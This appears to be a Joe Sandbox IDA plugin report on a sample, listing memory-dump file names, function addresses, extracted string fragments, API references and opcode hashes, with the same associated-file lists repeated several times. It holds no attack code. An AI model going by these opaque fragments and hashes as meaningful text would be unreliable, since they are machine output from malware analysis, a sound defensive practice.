Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$JyTK$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$L4$L4
API String ID: 0-2746398225
Opcode ID: 5297e803d66bde0f8685c37378e57d6a8a747cdb85b93f1e2df82e45a6f505a1
Instruction ID: b5055966a04718bba4610e9abb981ace959e2f2f7e5114351da7458e2283554b
Opcode Fuzzy Hash: 5297e803d66bde0f8685c37378e57d6a8a747cdb85b93f1e2df82e45a6f505a1
Instruction Fuzzy Hash: 9A4245B26083508FC7269F28D8927ABB7E6FFD5304F198A7CD5D98B252D7349805CB42

Function 0037F60D Relevance: 16.6, APIs: 1, Strings: 8, Instructions: 845COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(?), ref: 0037FDFC

Strings

x, xrefs: 0037FBD4
6, xrefs: 0037F620
\, xrefs: 0037FB0F
#, xrefs: 0037F721
m, xrefs: 0037F8F4
=, xrefs: 0037F978
w, xrefs: 0037FAAD
g, xrefs: 0037F9EA

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #$6$=$\$g$m$w$x
API String ID: 237503144-139252074
Opcode ID: 729ffdda07f376a92dcc47767164a2bdc1a5d09df6c0159d41c8c62177a796e5
Instruction ID: 09a32a998564abd0b2bd07cf4395d661bd887a14d2576d01868051eccc3b8fc6
Opcode Fuzzy Hash: 729ffdda07f376a92dcc47767164a2bdc1a5d09df6c0159d41c8c62177a796e5
Instruction Fuzzy Hash: 1772813261C7908BD339DA38C85539FBAD2ABD5324F198B6DE4EDC73D1D67889018742

Function 00397740 Relevance: 16.6, Strings: 13, Instructions: 338COMMON

Download Yara Rule

Strings

$Y)[, xrefs: 00397FBA
P-X/, xrefs: 00397F99
f!V#, xrefs: 00397F78
}5x7, xrefs: 00397F57
Z)o+, xrefs: 00397F8E
!A/C, xrefs: 00397FD0
O=q?, xrefs: 00397F6D
r, xrefs: 0039831A
}9F;, xrefs: 00397F62
DE, xrefs: 00397FDB
1Q>S, xrefs: 00397FA4
s1z3, xrefs: 00397F4C
S%g', xrefs: 00397F83

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: !A/C$$Y)[$1Q>S$DE$O=q?$P-X/$S%g'$Z)o+$f!V#$r$s1z3$}5x7$}9F;
API String ID: 0-3413813421
Opcode ID: 73e84a6dafd2090b8fb2f5fffe9f749d914970057b2c36a9fce9b7d53768a4c7
Instruction ID: beb8f635a296d048d76c2a5ad3488b0a28927a537910173a922b2bd58842622b
Opcode Fuzzy Hash: 73e84a6dafd2090b8fb2f5fffe9f749d914970057b2c36a9fce9b7d53768a4c7
Instruction Fuzzy Hash: E1C1DDB050C3408FD724DF29D851B6BBBF5EFC1304F05896CE5998B2A2D7398905CB96

Function 00389AD0 Relevance: 12.1, APIs: 2, Strings: 4, Instructions: 1641COMMON

Download Yara Rule

APIs

Part of subcall function 003AE110: LdrInitializeThunk.NTDLL(003B12FB,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 003AE13E

FreeLibrary.KERNEL32(?), ref: 0038A21A
FreeLibrary.KERNEL32(?), ref: 0038A2AB

Strings

_^]\, xrefs: 0038A0E5
VX, xrefs: 00389F94
_^]\, xrefs: 0038AAAE
_^]\, xrefs: 00389B05

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: VX$_^]\$_^]\$_^]\
API String ID: 764372645-2822990893
Opcode ID: c9c2028448b013160a7a6688bb78c5e65f9af89137566d3658a2d2263e9dbfc5
Instruction ID: 8b129c6426d110afd60e84eb81418de1e5c99b3f1a16f8750976bb1c34e7f551
Opcode Fuzzy Hash: c9c2028448b013160a7a6688bb78c5e65f9af89137566d3658a2d2263e9dbfc5
Instruction Fuzzy Hash: FBA27AB6B09B005BE72A9B34CC9172BBBD3FBD1314F2E896DE59587291D631DC028742

Function 0038EB80 Relevance: 12.1, Strings: 9, Instructions: 812COMMON

Download Yara Rule

Strings

f>mI, xrefs: 0038EED0
AL, xrefs: 0038EF3D
hch&, xrefs: 0038EEA8
t|f, xrefs: 0038EE88
uvqs, xrefs: 0038EEC0
Yxqs, xrefs: 0038EEC8
CPm5, xrefs: 0038EEE0
O}nl, xrefs: 0038EED8
, xrefs: 0038F25F, 0038F26A, 0038F29C

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: AL$CPm5$O}nl$Yxqs$f>mI$hch&$t|f$uvqs$
API String ID: 0-1556426300
Opcode ID: f063090e3a876eb5a42f14e9c3c7cf0c6b73bb2ab2de4662655439042764a1ff
Instruction ID: 2777c720a2b9ccdcc60aa6c37f8bf173c09768da853a4b5cbd3e564d980586a6
Opcode Fuzzy Hash: f063090e3a876eb5a42f14e9c3c7cf0c6b73bb2ab2de4662655439042764a1ff
Instruction Fuzzy Hash: BD52267050C3918FC722DF24C84066FBBE1AF96314F194ABDE4E59B292D735D906CB92

Function 0039B980 Relevance: 10.3, Strings: 8, Instructions: 329COMMON

Download Yara Rule

Strings

pMC@, xrefs: 0039BC3A
AZDH, xrefs: 0039BC44
UXWZ, xrefs: 0039BC26
" , xrefs: 0039BC08
220, xrefs: 0039BBE0
nV[k, xrefs: 0039BC30
47:, xrefs: 0039BBD6
:/', xrefs: 0039BBFE

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: 47:$ " $220$AZDH$UXWZ$nV[k$pMC@$:/'
API String ID: 0-3711047884
Opcode ID: 099444bf39accc4c80596904bbed527976fac52009445744d746e05241d00a4a
Instruction ID: 9af1b43783fd2455b60ea26ad07656a228067306ee9c0d5a473a71f9e570f752
Opcode Fuzzy Hash: 099444bf39accc4c80596904bbed527976fac52009445744d746e05241d00a4a
Instruction Fuzzy Hash: 3FC16AB4804B419FD321AF3A95467A3BFF0AB06300F444A5ED4EA4B695E734601ACBD2

Function 003A88B0 Relevance: 10.3, Strings: 8, Instructions: 281COMMON

Download Yara Rule

Strings

X, xrefs: 003A892A
Y, xrefs: 003A88C7
q, xrefs: 003A8A23
}, xrefs: 003A8A27
Z, xrefs: 003A8932
X, xrefs: 003A88C3
Z, xrefs: 003A88CB
Y, xrefs: 003A892E

Memory Dump Source

